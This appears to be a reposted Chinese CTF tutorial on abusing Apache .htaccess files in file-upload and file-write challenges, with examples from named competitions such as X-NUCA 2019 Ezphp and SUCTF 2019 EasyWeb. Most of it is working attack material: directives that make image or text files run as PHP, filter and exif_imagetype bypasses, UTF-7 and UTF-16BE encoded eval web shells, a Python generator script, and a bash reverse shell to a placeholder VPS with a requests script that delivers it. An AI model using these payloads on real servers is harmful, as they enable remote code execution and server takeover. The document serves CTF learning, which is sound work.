CTF丨.htaccess文件的利用,没有比它更全面的文章了!

  • A+
所属分类:逆向工程

CTF丨.htaccess文件的利用,没有比它更全面的文章了!


.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以改变所在文件夹和子文件下的php.ini配置。


在CTF赛题中,如果能够上传或者写入一个.htaccess,就可以做到绕过WAF、文件包含等操作,笔者之前参加比赛时看到过.htaccess文件的利用,于是将各种用法总结出来分享给大家,希望有所帮助。

CTF丨.htaccess文件的利用,没有比它更全面的文章了!


本文是 i 春秋论坛作家「kawhi」表哥原创的技术文章分享,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

CTF丨.htaccess文件的利用,没有比它更全面的文章了!

.htaccess文件是默认开启的,如果没有启动.htaccess文件的话,需要修改配置文件httpd.conf中的以下两点:


  • 把AllowOverride None修改为:AllowOverride All;


  • 把LoadModule rewrite_module modules/mod_rewrite.so这句话前面的#去掉。


.htaccess任意文件解析


在CTF中.htaccess文件最常用的地方就是文件上传题目,如果题目中使用的是黑名单机制,即限制上传php,pthml,pht等后缀,我们可以使用.htaccess文件重新配置当前文件的解析后缀,为其他后缀绕过导致其他后缀的文件被解析为php,就可以导致远程代码执行。


AddType


比如在upload-labs的第四关就可以使用这种方法绕过,首先是限制了php的后缀,如图所示shell.php不允许上传。


CTF丨.htaccess文件的利用,没有比它更全面的文章了!


但是题目并没有限制.htaccess文件的上传,可以上传一个.htaccess文件内容如下:

AddType application/x-httpd-php .jpg

AddType可以指示文件管理系统,对指定后缀文件以选定的文件类型解析,整句话的作用就是让jpg格式的文件解析为php文件。


上传完.htaccess文件之后再上传一个写入一句话木马的shell.jpg文件,尝试连接蚁剑。


CTF丨.htaccess文件的利用,没有比它更全面的文章了!

发现已经成功连接上了,说明我们上传的.htaccess文件已经成功让jpg格式的文件解析为php了。


AddHandler


除了AddType之外还有AddHandler,我们想将txt文件后缀解析为php运行,可以在.htaccess中写下以下两行的其中一行。


  • AddHandler php5-script .txt


  • AddHandler php7-script .txt


意思是指定扩展名为.php 的文件应被php5-srcipt/php7-srcipt处理器来处理。


CTF丨.htaccess文件的利用,没有比它更全面的文章了!


可以看到写入前后的对比,后者成功把txt文件解析为php文件。


一般这种可以配合着其他的语句来使用,比如说[de1ctf 2020]Check in的这道题,过滤了如下黑名单:

perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet

我们可以上传一个.htaccess内容如下,主要让txt文件解析为php文件,再把flag包含进来。

AddHandler p
hp5-script .txt
p
hp_value au
to_append_file /flag

再上传一个1.txt就能加载/flag内容。不过这里涉及到了.htaccess的换行绕过和文件包含,下面都会提到。


SetHandler


.htaccess文件解析还有另外一种常见写法就是利用SetHandler,文件内容如下:

SetHandler application/x-httpd-php

这样所有文件都会当成php来解析,如果要指定某一个类型文件的话,可以写:

<FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

将shell.jpg解析为php文件,同时这里可以使用正则匹配文件比如:

<FilesMatch ".ph.*$">
  SetHandler application/x-httpd-php
</FilesMatch>

就是匹配所有的.ph开头的后缀文件。


SetHandler还有一种用法就是在.htaccess写入:

SetHandler server-status

然后再访问http://ip/server-status即可查看所有访问本站的记录,[de1ctf 2020]Check in这道题的官方wp中提到了这种方式去获取信息。


.htaccess的一些绕过


绕过关键字


像上面的upload-labs的第四关内容中如果过滤了application关键字,因为.htaccess支持换行编写,我们可以使用反斜杠换行绕过的方法,如:

AddType appli
cation/x-httpd-php .jpg


绕过exif_imagetype函数


exif_imagetype( ) 的作用是读取一个图像的第一个字节并检查其签名。


比如[SUCTF 2019]EasyWeb这道题就有这个函数,关键代码如下:

$tmp_name = $_FILES["file"]["tmp_name"];
if(!exif_imagetype($tmp_name)) die("^_^");

要注意的是通常我们会在上传文件中加上gif的文件头GIF89a去绕过,但是.htaccess文件用这种方法虽然能上传成功,但是无法生效。我们可以在.htaccess文件前面加上:

#define 4c11f3876d494218ff327e3ca6ac824f_width xxx(大小)
#define 4c11f3876d494218ff327e3ca6ac824f_height xxx(大小)

这里的原理其实是伪造为xbm文件,xbm文件是一种图片格式的文件。


CTF丨.htaccess文件的利用,没有比它更全面的文章了!


在php的官方文档中,exif_imagetype( )是可以支持xbm类型的文件的。


绕过拼接字符


比如近期的一道题目,其中部分代码如下:

file_put_contents($filename, $content . "nHello, world");

这一题的思路是利用.htaccess文件把恶意代码包含进index.php里面,但是在变量$content后面拼接了一个"nHello, world",这样的话会不符合.htaccess文件的语法,导致服务器报一个500错误,这时候我们可以使用反斜杠先把n转义,再在加入的恶意代码前面加上一个#注释掉后面的内容,这样的话就可以绕过"nHello, world",从而使得.htaccess符合语法。


最终payload结果如下:

php_value auto_prepend_fil
e .htaccess
#<?php system('cat /fla'.'g');?>&filename=.htaccess

这里要注意的是在传参的时候都是要url编码的。


.htaccess的常见用法

首先了解一下php_value和php_flag:


  • php_value:设定指定的值,但不能设定布尔值;


  • php_flag:用来设定布尔值的配置指令。


这两个可以用来设置指令的值,使得在Apache配置文件内部修改PHP的配置,那么这些指令有哪些呢,比如说auto_prepend_file,display_errors等等,具体的话参考官方给出的:php.ini 配置选项列表


当然上面说的这两个都是可以用于.htaccess中的,同样功能的还有php_admin_value和php_admin_flag,但是这两个无法用于.htaccess中。


下面介绍两个最常见的用法:


特殊编码绕过


如果对文件内容进行过滤了<?,同时版本php7已经抛弃了<script language='php'>和<%,使得我们无法利用php其他风格的标签去绕过。这里可以考虑在.htaccess中设置UTF-7字符或者其他字符进行绕过。


我们可以先上传一个shell.jpg内容如下:

#define 4c11f3876d494218ff327e3ca6ac824f_width 1337
#define 4c11f3876d494218ff327e3ca6ac824f_height 1337
+ADw?php +AEA-eval(+ACQAXw-POST+AFs'cmd'+AF0)+ADs?+AD4-

第三句是经过UTF-7编码的,在线UTF-7编码:UTF-7 Encoder。


我们接下来要做的就是利用.htaccess文件把他进行UTF-7解码。


我们再写入一个.htaccess文件内容如下:

#define 4c11f3876d494218ff327e3ca6ac824f_width 1337
#define 4c11f3876d494218ff327e3ca6ac824f_height 1337
AddType application/x-httpd-php .jpg
php_flag display_errors on
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

前3行在上面已经讲过,这里不再赘述。


第4行中的php_flag,后面跟着display_errors on,本句的作用是关闭错误提示,也就是差不多相当于error_reporting(0);


第5行中的php_flag,把zend.multibyte的值设置为1,原因是在使用 UTF-7、SJIS、BIG5 等在多字节字符串数据中包含特殊字符的字符编码是要启用zend.multibyte的,如果是UTF-8编码的话则不需要这个选项。


最后一句是关键点了,php_value中设置了zend.script_encoding "UTF-7",本句的作用是对上传的文件进行一个UTF-7的解码。


这里我直接在本地phpstudy直接写入.htaccess和shell.jpg,测试了一下是可行的:


CTF丨.htaccess文件的利用,没有比它更全面的文章了!


要注意的是,在本地phpstudy写入.htaccess文件的话,php的版本要选择不带nts的。


在[SUCTF 2019]EasyWeb这道题里面就可以用到这个方法,但不局限于这种,在看其他师傅的writeup中,发现本题也可以通过设置utf-16be来进行绕过,这里借用一下网上的一键生成.htaccess脚本。

SIZE_HEADER = b"nn#define width 1337n#define height 1337nn"

def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()

def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .lethen')
    htaccess.write(b'php_value zend.multibyte 1n')
    htaccess.write(b'php_value zend.detect_unicode 1n')
    htaccess.write(b'php_value display_errors 1n')

    htaccess.close()

generate_htacess()

generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")

进行文件包含


在刚刚提到的php_value的指令中,也就是php.ini中有两项:


在所有页面的顶部与底部require文件


  • auto_prepend_file 在页面顶部加载文件


  • auto_append_file 在页面底部加载文件


我们可以利用这个将1.php文件包含进所有的php页面

php_value auto_prepend_file 1.php

CTF丨.htaccess文件的利用,没有比它更全面的文章了!


可以看到1.php成功包含进去shell.php里面了。


这里我们甚至可以利用伪协议配合做一个编码,.htaccess如下:

AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.jpg"

把shell.jpg进行base64解码后再包含进所有的php页面。


CTF丨.htaccess文件的利用,没有比它更全面的文章了!


如图可以看到在1.php页面已经可以看到shell.jpg的phpinfo了。


以这道题目为例子,原题是X-NUCA'2019—Ezphp。


题目的源码为:

<?php
    $files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./');
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "nHello, world");
?>

这里前后有两个unlink函数,会清除该目录下除了index.php文件以外的所有文件。然后看到file_put_contents函数。然后对filename只允许存在a-z和.,也就是说明无法用伪协议去做了,然后content过滤了一些关键字。


这里就可以把.htaccess文件包含进index.php文件里面,因为这里unlink没法删除.htaccess,然后在.htaccess中插入恶意代码。首先包含的是:

php_value auto_prepend_file .htaccess

这里看到stristr函数把file关键字过滤了,我们上面已经讲了如果去绕过了,即:

php_value auto_prepend_fil 
e .htaccess

然后后面拼接的nHello, world绕过拼接字符这个点上面也讲过了,这里不再赘述,构造payload如下:

php_value auto_prepend_fil 
e .htaccess
#<?php phpinfo();?>

把phpinfo();换成如下即可反弹一个shell。

system('bash -c "/bin/bash -i >%26 /dev/tcp/your-vps-ip/2333 0<%261"');

一键写入文件并反弹脚本如下:

import requests

url = 'http://a1ad9f70-8d0c-432f-b973-6494e65e2be6.node3.buuoj.cn/'
payload = '?filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20".htaccess"n%23<?php system('bash -c "/bin/bash -i >%26 /dev/tcp/your-vps-ip/2333 0<%261"');?>\'
url2 = url + payload
r = requests.get(url2)
req = request.get(url)

CTF丨.htaccess文件的利用,没有比它更全面的文章了!


.htaccess其他利用点


prce回溯绕过正则匹配


我们先看如下一段代码:

<?php
$filename = 'php://filter';
if(preg_match("/[^a-z.]/", $filename) == 1) {
    echo "Hacker";
    var_dump(preg_match("/[^a-z.]/", $filename));
}else{
    echo "hello";
    var_dump(preg_match("/[^a-z.]/", $filename));
}
//Hackerint(1)

这里的正则只匹配a-z以及.组成的的变量,而我给变量赋值了php://filter,很明显输出了Hacker。但是当我们写入.htaccess就会发生一些有趣的事情了。


.htaccess文件内容如下:

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

这里是通过php_value设置正则回朔次数,然后再看返回的结果:


CTF丨.htaccess文件的利用,没有比它更全面的文章了!

发现preg_match返回了布尔值False,这样就可以达到绕过这个正则。


在前面说的X-NUCA'2019—Ezphp这个题目中,就是因为正则的限制导致我们不能够写php://filter伪协议,然后我们通过这种回溯绕过的方法,就可以用这种绕过这个正则,利用伪协议去写一个shell了。


用伪协议写shell的payload如下:

?filename=php://filter/write=convert.base64decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();


error_log生成shell


个人感觉这种思路有点像mysql日志写shell,首先是通过php的配置选项中的error_log可以将php运行报错的记录写到指定文件中,然后如果有include_once这种包含的函数去包含一个不存在的文件,就会导致报错导致在你指定的目录下生成文件。然后在include_path中写入恶意的代码,这个代码就会出现在刚刚生成的文件当中。


但是千万要注意的一点是:写进error_log的内容会被html编码。


我们可以采用上面刚刚讲过的utf7编码即可绕过。


比如在index.php写入如下代码:

<?php
include_once("fl3g.php");
$content = $_GET['content'];
$filename = $_GET['filename'];
file_put_contents($filename, $content . "nJust one chance");
?>

然后写入.htaccess文件,内容如下:

php_value error_log D:phpStudyPHPTutorialWWWtmpfl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[cmd])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
#

这里第二行error_reporting 32767的意思是设置报告级别为32767,使得报告出所有可能出现的错误,确保我们可以写入木马。


我们将其url编码传参写入,然后会报错一些错。


CTF丨.htaccess文件的利用,没有比它更全面的文章了!


我们再回头看看我们文件里面生成了什么?


CTF丨.htaccess文件的利用,没有比它更全面的文章了!


可以发现在tmp目录已经成功生成了fl3g.php文件,并写入了我们之前在include_path设置的内容。但是还有一个问题就是要将里面的内容进行UTF-7解码,这里就很简单了,直接再上传一个.htaccess内容如下:

php_value include_path "D:phpStudyPHPTutorialWWWtmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
#

并给cmd传参phpinfo( );,成功利用。


一如既往的学习,一如既往的整理,一如即往的分享。感谢支持CTF丨.htaccess文件的利用,没有比它更全面的文章了!

【好书推荐】



CTF丨.htaccess文件的利用,没有比它更全面的文章了!

CTF丨.htaccess文件的利用,没有比它更全面的文章了!

2020hw系列文章整理(中秋快乐、国庆快乐、双节快乐)

HW中如何检测和阻止DNS隧道

ctf系列文章整理

日志安全系列-安全日志

【干货】流量分析系列文章整理

【干货】超全的 渗透测试系列文章整理

【干货】持续性更新-内网渗透测试系列文章

【干货】android安全系列文章整理



扫描关注LemonSec

CTF丨.htaccess文件的利用,没有比它更全面的文章了!

CTF丨.htaccess文件的利用,没有比它更全面的文章了!



本文始发于微信公众号(LemonSec):CTF丨.htaccess文件的利用,没有比它更全面的文章了!

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: